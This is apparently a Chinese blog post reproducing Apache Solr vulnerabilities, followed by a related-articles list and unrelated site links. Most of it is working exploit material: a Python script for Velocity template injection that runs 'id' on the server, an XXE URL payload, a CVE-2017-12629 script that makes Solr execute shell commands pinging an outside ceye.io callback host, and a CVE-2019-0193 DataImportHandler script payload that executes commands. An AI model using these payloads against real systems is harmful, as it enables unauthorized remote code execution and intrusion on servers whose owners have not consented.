最近Solr又出了一个RCE漏洞,复现了一下

# coding: utf-8

import requests
import argparse
from urllib import parse

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', type=str, help='display an url')
    args = parser.parse_args()
    if args.url:
        urlparse = parse.urlparse(args.url)
        url = urlparse.scheme + '://' + urlparse.netloc + '/'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1',
            "Content-Type": "application/json"
        }
        datas = {
            "update-queryresponsewriter": {
                "startup": "lazy",
                "name": "velocity",
                "class": "solr.VelocityResponseWriter",
                "template.base.dir": "",
                "solr.resource.loader.enabled": "true",
                "params.resource.loader.enabled": "true"
            }
        }
        post_url = parse.urljoin(url, "/solr/demo/config")
        resp = requests.post(post_url, headers=headers, data=datas, verify=False)
        get_url = parse.urljoin(url, "/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        response = requests.get(get_url, verify=False)
        if r"uid" in response.text:
            print("存在Solr 远程代码执行漏洞!")
            print("\n" + response.text)
        else:
            print("不存在漏洞")
    else:
        print("缺失参数 --url")

用的python3写的,效果如下:

值得注意的是这里poc中的“/solr/demo/config” 使用的是demo,然后并不是所有环境中都有名为demo的节点的,实际场景中需要去solr控制台中的 Core Admin查看

CVE-2017-12629-XXE

poc:

127.0.0.1:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fckcvlb.ceye.io%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser

和之前一样需要先判断节点,这里以demo为例

是用的ceye平台接受的,查看dns记录

如何是些脚本验证,可以在域名前加随机值

CVE-2017-12629-RCE

复现:
 时间仓促,临时写的lowB脚本

# coding: utf-8

import requests

if __name__ == "__main__":
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
}
url = "http://127.0.0.1:8983/solr/demo"
post_url_1 = url + "/config"
str_data = '''{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "ping solr.rce.ckcvlb.ceye.io"]}}'''
response = requests.post(url=post_url_1, headers=headers, data=str_data, verify=False) headers_1 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1',
"Content-Type": "application/json"
}
post_url_2 = url + '/update'
post_data_2 = '''[{"id": "test"}]'''
response2 = requests.post(url=post_url_2, headers=headers_1, data=post_data_2, verify=False)
print(response2.text) 还是使用的ceye平台进行的接受,查看dns记录

CVE-2019-0193:

RCE复现,这个比较简单,不准备写脚本了,贴出poc

<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
进入solr后台管理页面:

同样的道理可以讲poc中的创建文件改为ping ceye平台。

Solr-rce历史漏洞复现的更多相关文章

  1. Apache solr velocity模块 漏洞复现

    0x01 Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平 ...

  2. Spring 历史漏洞复现

    1.Spring Security OAuth2.0 (CVE-2016-4977) 这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不 ...

  3. phpMyAdmin历史漏洞复现

    简介 phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具.它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等 复现三个古老漏洞 phpMyAd ...

  4. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  5. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  6. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  7. 【漏洞复现】Apache Solr via Velocity template远程代码执行

    0x01 概述 Solr简介 Apache Solr 是一个开源的企业级搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.Apache Solr ...

  8. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  9. 【漏洞复现】Apache Solr远程代码执行(CVE-2019-0193)

    0x01 概述 Solr简介 Apache Solr 是一个开源的企业级搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.Apache Solr ...

随机推荐

  1. skywalking6.3.0安装(centos7.6)

    先安装好jdk8(略),经测试高于jdk8不支持. http://skywalking.apache.org/downloads/wget --no-check-certificate --no-co ...

  2. Java基础 try...catch 处理ArithmeticException 除以零的异常

        JDK :OpenJDK-11      OS :CentOS 7.6.1810      IDE :Eclipse 2019‑03 typesetting :Markdown   code ...

  3. 必须要注意的 C++ 动态内存资源管理(六)——vector的简单实现

    必须要注意的 C++ 动态内存资源管理(六)——vector的简单实现 十六.myVector分析         我们知道,vector类将其元素存放在连续的内存中.为了获得可接受的性能,vetor ...

  4. mybatis:字符串转成数组拼接成SQL

    <foreach item="item" index="index" collection="str.split(',')" open ...

  5. Appium脚本(2):元素检测

    场景: 有的按钮在第一次打开时显示,之后就不显示了,如更新提示.特性介绍等,面对这样的场景写了如下脚本,增加脚本的复用性. no_element_exception_2.py from appium ...

  6. [LeetCode] 240. Search a 2D Matrix II 搜索一个二维矩阵 II

    Write an efficient algorithm that searches for a value in an m x n matrix. This matrix has the follo ...

  7. 570. Managers with at Least 5 Direct Reports 至少有5个直接汇报员工的经理

    The Employee table holds all employees including their managers. Every employee has an Id, and there ...

  8. 当代码上传git时,提示Repository not found The requested repository does not exist, or you do not have permission to access it. fatal: Could not read from remote repository. Please make sure you have the corre

    1.检查当前git中设置的用户名与邮箱是否与自己电脑上的一致. 看这个文件中 如果不一致,只需要把里面的内容全部复制出来添加到git(看下图位置) 这是再执行:git push -u origin m ...

  9. jquery swiper自定义pagination的方法

    jquery swiper自定义pagination的方法<pre><script>var swiper = new Swiper('.swiper-container', { ...

  10. Qt qml调试,qml性能分析和优化工具

    QML语言为qt推出的用于界面编程的语言. 1)如何在qt creator中进行调试qml: 以Qt Creator 4.6.2为例: 在qt creator的debug模式下,可以直接在qml中打断 ...